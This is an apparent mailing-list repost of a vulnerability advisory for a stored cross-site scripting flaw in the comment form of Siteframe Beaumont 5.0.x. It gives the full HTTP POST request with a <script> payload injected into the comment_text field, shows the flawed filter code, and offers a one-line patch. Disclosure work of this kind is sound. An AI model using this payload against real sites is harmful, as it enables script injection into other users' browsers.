<<< Date Index >>>     <<< Thread Index >>>

Re: Siteframe Beaumont 5.0.2 <== User Comment Cross-Site Scripting Vulnerability



Sorry, but the advisory is this:

Siteframe Beaumont 5.0.2 <== User Comment Cross-Site Scripting Vulnerability 

####################################

Information of Software: 

Software: Siteframe Beaumont 5.0.1a  
Site: http://www.siteframe.org/
Description of software: Siteframe is a lightweight content-management 
system designed for the rapid deployment of community-based websites. 
With Siteframe,a group of users can share stories and photographs, create 
blogs, 
send email to one another, and participate in group activities.

####################################

Bug:

Siteframe contains a flaw that allows a remote cross site scripting attack. 
The vulnerability is found in the user comment page and the user can modify 
the function GET and insert the XSS code

- http POST request

http://[target]/edit/Comment
POST /edit/Comment HTTP/1.1
Host: [target]
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it-IT; rv:1.7.12) 
Gecko/20050919 Firefox/1.0.7
Accept: 
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: it,it-it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 167
comment_id=&comment_user_id=554&comment_page_id=116&comment_reply_to=&comment_subject=Kiki&comment_text=Hi&_submitted=1

but we can modify the request POST in this way:

comment_id=&comment_user_id=554&comment_page_id=116&comment_reply_to=&comment_subject=Kiki&comment_text=<script>alert("lol");</script>&_submitted=1

---------------------------------------------------------

Example:

you can insert in the text post an XSS code or you can modify the request in 
this way:

comment_id=&comment_user_id=554&comment_page_id=116&comment_reply_to=&comment_subject=Kiki&comment_text=[XSS]&_submitted=1

---------------------------------------------------------

The bug is in this part of DataObject.class.inc

[...]
    // strip html
    if ($info['formatted'] == 'ANY')
        ; // anything is allowed
    else if ($info['formatted'])
        $val = strip_tags($val, config('allowed_html'));
    else if ($info['type'] != 'xml')
        $val = strip_tags($val);
[...]

- Patch

in includes/DataObject.class.inc, change this:

    if ($info['formatted'] == 'ANY')

to this:

    if (!strcasecmp($info['formatted'], 'ANY'))

####################################

Credit:

Author:  Kiki
e-mail: federico.sana@xxxxxxxx
web page: http://kiki91.altervista.org

####################################